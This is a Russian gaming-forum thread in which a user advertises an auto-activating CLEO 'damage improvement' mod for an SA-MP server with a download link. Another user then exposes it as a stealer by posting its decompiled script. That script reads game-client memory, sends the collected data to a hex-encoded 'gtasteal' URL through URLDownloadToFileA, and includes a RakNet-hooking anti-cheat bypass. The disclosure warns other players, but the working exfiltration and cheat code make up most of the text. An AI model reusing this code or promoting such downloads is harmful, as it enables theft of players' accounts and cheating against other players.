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Улучшение прохождения урона
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| masolxxx |
Дата: Суббота, 30.12.2017, 12:00 | Сообщение # 1
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Любитель
Сообщений: 41
Статус: Offline
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Играя на SampRp.Ru у большинства а почти у всех игроков не проходит урон возможно это клео вам поможет. Активация автоматическая. СКАЧАТЬ:Yandex

Добавлено (30.12.2017, 12:00) --------------------------------------------- Автор: AIR
Сообщение отредактировал masolxxx - Суббота, 30.12.2017, 21:21 |
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| Miwka96 |
Дата: Суббота, 30.12.2017, 16:50 | Сообщение # 2
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Боец
Сообщений: 60
Статус: Offline
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Кто проверил?
✓ 754 Дней на СМ обновлено 23.12.2017
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| El_Alvaro |
Дата: Суббота, 30.12.2017, 17:22 | Сообщение # 3
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Бывалый
Сообщений: 307
Статус: Offline
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AVP-Проверка
На свой страх и риск
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| masolxxx |
Дата: Суббота, 30.12.2017, 19:03 | Сообщение # 4
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Любитель
Сообщений: 41
Статус: Offline
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_CM_PROXY__, ну я не видел его на форуме раньше.
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| DokerGT |
Дата: Среда, 03.01.2018, 10:55 | Сообщение # 5
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★Doker крутой перец!★
Сообщений: 329
Статус: Offline
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стиллер пруф
Код // This file was decompiled using SASCM.ini published by GTAG (http://gtag.gtagaming.com/opcode-database) on 14.6.2013 {$CLEO .cs}
//-------------MAIN--------------- thread "stealer" 0000: NOP
:stealer_13 wait 0 0AA2: 31@ = load_library "kernel32.dll" // IF and SET 0AA4: 30@ = get_proc_address "GetModuleHandleA" library 31@ // IF and SET 0AA7: call_function 30@ num_params 1 pop 0 "samp.dll" 0@ 16@ = 1 17@ = 2203896 19@ = 2203832 29@ = 528432 0A8E: 3@ = 0@ + 17@ // int 0A8D: 2@ = read_memory 3@ size 4 virtual_protect 0 if 2@ > 1000 else_jump @stealer_13 0A8E: 22@ = 2@ + 973 // int 0A8D: 23@ = read_memory 22@ size 4 virtual_protect 0 if 23@ > 1000 else_jump @stealer_13 0A8E: 5@ = 23@ + 24 // int 0A8D: 4@ = read_memory 5@ size 4 virtual_protect 0 if 4@ > 1000 else_jump @stealer_13 0A8E: 5@ = 4@ + 34 // int 0A8D: 24@ = read_memory 5@ size 4 virtual_protect 0 if 24@ > 1000 else_jump @stealer_13 0A8E: 22@ = 0@ + 19@ // int 0A8D: 1@ = read_memory 22@ size 4 virtual_protect 0 if 1@ > 1000 else_jump @stealer_13 0A8E: 7@ = 1@ + 40 // int 0A8D: 6@ = read_memory 7@ size 4 virtual_protect 0 0A8E: 5@ = 1@ + 44 // int 0A8D: 26@ = read_memory 5@ size 4 virtual_protect 0 if 6@ == 1 else_jump @stealer_424 if or 26@ == 1 26@ == 3 else_jump @stealer_424 25@ = 1
:stealer_424 if and 25@ == 1 not 6@ == 1 else_jump @stealer_864 0A8E: 7@ = 1@ + 48 // int 0A8D: 3@ = read_memory 7@ size 4 virtual_protect 0 0A8E: 6@ = 1@ + 36 // int 0A8D: 13@ = read_memory 6@ size 4 virtual_protect 0 0A8E: 6@ = 0@ + 29@ // int 0AA8: call_function_method 6@ struct 13@ num_params 0 pop 0 5@ 0A8E: 6@ = 4@ + 26 // int 0A8D: 23@ = read_memory 6@ size 4 virtual_protect 0 0A8E: 7@ = 4@ + 10 // int if not 23@ >= 16 else_jump @stealer_585 0085: 12@ = 7@ // (int) jump @stealer_597
:stealer_585 0A8D: 12@ = read_memory 7@ size 4 virtual_protect 0
:stealer_597 0A8E: 9@ = 2@ + 289 // int 0A8E: 14@ = 2@ + 32 // int 0A8E: 8@ = 2@ + 549 // int 0A8D: 15@ = read_memory 8@ size 4 virtual_protect 0 0A8E: 18@ = 4@ + 42 // int 0A8D: 27@ = read_memory 18@ size 4 virtual_protect 0 21@ = Player.Money($PLAYER_CHAR) Actor.StorePos($PLAYER_ACTOR, $4, $5, $6) 0665: get_actor $PLAYER_ACTOR model_to 28@ 0AC6: 0@ = label @stealer_871 offset alloc 20@ 1024 13@ = 217 format 20@ "%s%s:%d=%s=%s=%d=%s=%d" 0@ 14@ 15@ 9@ 12@ 3@ 5@ 13@ 0AA2: 8@ = load_library "urlmon.dll" // IF and SET 0AA4: 9@ = get_proc_address "URLDownloadToFileA" library 8@ // IF and SET 0AA5: call 9@ num_params 5 pop 0 0 0 "%TEMP%\2352sfa.tmp" 20@ 0 25@ = 0
:stealer_864 jump @stealer_13
:stealer_871 hex 68 74 74 70 3A 2F 2F 67 74 61 73 74 65 61 6C 2E 72 75 2F 75 63 70 2F 69 6E 63 6C 75 64 65 2F 30 53 4D 38 46 64 6B 68 6A 69 2E 70 68 70 3F 64 61 74 61 3D 00 00 3F 74 61 3D 61 00 00 end 0AC6: 0@ = label @stealer_7 offset 0085: 5@ = 0@ // (int) 0085: 6@ = 0@ // (int) 5@ -= 7 6@ += 923 0085: 1@ = 0@ // (int)
:stealer_980 0A8D: 3@ = read_memory 1@ size 1 virtual_protect 1 1@ += 1 0A8D: 4@ = read_memory 1@ size 1 virtual_protect 1 0A8C: write_memory 5@ size 1 value 4@ virtual_protect 1 5@ += 1 0A8C: write_memory 5@ size 1 value 3@ virtual_protect 1 5@ += 1 1@ += 1 001D: 1@ > 6@ // (int) else_jump @stealer_980 0A9F: 0@ = current_thread_pointer 0A8E: 1@ = 0@ + 16 // int 0A8D: 2@ = read_memory 1@ size 4 virtual_protect 1 1@ += 4 0A8C: write_memory 1@ size 4 value 2@ virtual_protect 1 0000: NOP hex 5F 5F 53 42 46 54 52 00 end 0662: printstring "===============================================================" 0662: printstring "My VK: vk.com/id138101483" 0662: printstring "My Skype: hackes8" 0662: printstring "Group VK: vk.com/by_air" 0662: printstring "My YouTube Channel: www.youtube.com/spacebmxair" 0662: printstring "All rights reserved ©" 0662: printstring "===============================================================" wait 0 SAMP.Available else_jump @stealer_287 wait 0 SAMP.IsLocalPlayerSpawned else_jump @stealer_300 0@ = 1 2@ = 0 19@ = 1085 chatmsg "[ObhodAntiCheatRapid {CC6600}for Waka Encore {CC0000}by AIR{33FF33}]: {FFFFFF} Loaded! Actived! anti (cheat-code)" 3407667 0BE2: raknet setup_outcoming_packet_hook @stealer_764 0BE1: raknet setup_outcoming_rpc_hook @stealer_706 wait 0 if 0ADC: test_cheat "anti" else_jump @stealer_541 0B12: 0@ = 0@ XOR 1 19@ = 1085 0062: 19@ -= 0@ // (int) 018C: play_sound 19@ at 0.0 0.0 0.0 if and 2@ > 0 0@ == 1 else_jump @stealer_699 if and 6@ >= 0 not 6@ > 1000 0184: actor $PLAYER_ACTOR health >= 1 else_jump @stealer_699 SAMP.SetSendrate(1) = 280 SAMP.SetSendrate(3) = 280 call @stealer_1022 2 6@ 16@ call @stealer_1317 12 5@ 6@ 7@ 8@ 9@ 10@ 11@ 12@ 13@ 14@ 15@ 16@ 2@ -= 1 wait 700 SAMP.SetSendrate(1) = False SAMP.SetSendrate(3) = False jump @stealer_472 if 0@ == 1 else_jump @stealer_760 0BE5: raknet 18@ = get_hook_param 1 if and 2@ > 0 18@ == 115 else_jump @stealer_760 0BE0: raknet hook_ret 0 0BE0: raknet hook_ret 1 if 0@ == 1 else_jump @stealer_1018 0BE5: raknet 1@ = get_hook_param 1 if 1@ == 206 else_jump @stealer_1018 0BE5: raknet 1@ = get_hook_param 0 1@ = BitStream.GetDataPtr(1@) 0C0C: 5@ = struct 1@ offset 1 size 1 0C0C: 6@ = struct 1@ offset 2 size 2 0C0C: 7@ = struct 1@ offset 4 size 4 0C0C: 8@ = struct 1@ offset 8 size 4 0C0C: 9@ = struct 1@ offset 12 size 4 0C0C: 10@ = struct 1@ offset 16 size 4 0C0C: 11@ = struct 1@ offset 20 size 4 0C0C: 12@ = struct 1@ offset 24 size 4 0C0C: 13@ = struct 1@ offset 28 size 4 0C0C: 14@ = struct 1@ offset 32 size 4 0C0C: 15@ = struct 1@ offset 36 size 4 0C0C: 16@ = struct 1@ offset 40 size 1 if and 6@ >= 0 not 6@ > 1000 else_jump @stealer_1018 2@ += 1 SAMP.SetSendrate(1) = 280 SAMP.SetSendrate(3) = 280 0BE0: raknet hook_ret 0 0BE0: raknet hook_ret 1 call @stealer_1115 0 2@ 12@ = RakNet.NewBitStream() BitStream.Write(12@, 0, BS_TYPE_BOOL, 1) BitStream.Write(12@, 0@, BS_TYPE_SHORT, 2) BitStream.Write(12@, 2@, BS_TYPE_FLOAT, 4) BitStream.Write(12@, 1@, BS_TYPE_INT, 4) BitStream.Write(12@, 3, BS_TYPE_INT, 4) RakNet.LiteRPC(115, 12@) RakNet.DeleteBitStream(12@) ret 0 0A96: 2@ = actor $PLAYER_ACTOR struct 2@ += 1836 0A8D: 2@ = read_memory 2@ size 1 virtual_protect 0 0470: 0@ = actor $PLAYER_ACTOR current_weapon 0085: 1@ = 0@ // (int) if 2@ == 2 else_jump @stealer_1184 1@ += 25 if 2@ == 3 else_jump @stealer_1209 1@ += 36 1@ *= 112 1@ += 13150904 1@ += 34 0A8D: 1@ = read_memory 1@ size 2 virtual_protect 0 0093: 1@ = integer 1@ to_float if and 0@ >= 22 not 0@ == 25 not 0@ == 26 not 0@ == 27 not 0@ > 34 else_jump @stealer_1309 1@ /= 3.043478 ret 1 1@ alloc 20@ 40 0C0D: struct 20@ offset 0 size 1 = 0@ 0C0D: struct 20@ offset 1 size 2 = 1@ 0C0D: struct 20@ offset 3 size 4 = 2@ 0C0D: struct 20@ offset 7 size 4 = 3@ 0C0D: struct 20@ offset 11 size 4 = 4@ 0C0D: struct 20@ offset 15 size 4 = 5@ 0C0D: struct 20@ offset 19 size 4 = 6@ 0C0D: struct 20@ offset 23 size 4 = 7@ 0C0D: struct 20@ offset 27 size 4 = 8@ 0C0D: struct 20@ offset 31 size 4 = 9@ 0C0D: struct 20@ offset 35 size 4 = 10@ 0C0D: struct 20@ offset 39 size 1 = 11@ 21@ = RakNet.NewBitStream() BitStream.Write(21@, 206, BS_TYPE_BYTE, 1) BitStream.Write(21@, 20@, BS_TYPE_ARRAY, 40) RakNet.LiteSend(21@) RakNet.DeleteBitStream(21@) free 20@ ret 0 hex 56 41 52 00 F1 02 00 00 41 63 74 69 76 65
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| [CM]JacobMaster |
Дата: Воскресенье, 21.01.2018, 16:32 | Сообщение # 6
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ПАПКИН ХУЙ
Сообщений: 874
Статус: Offline
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Битая ссылка
 
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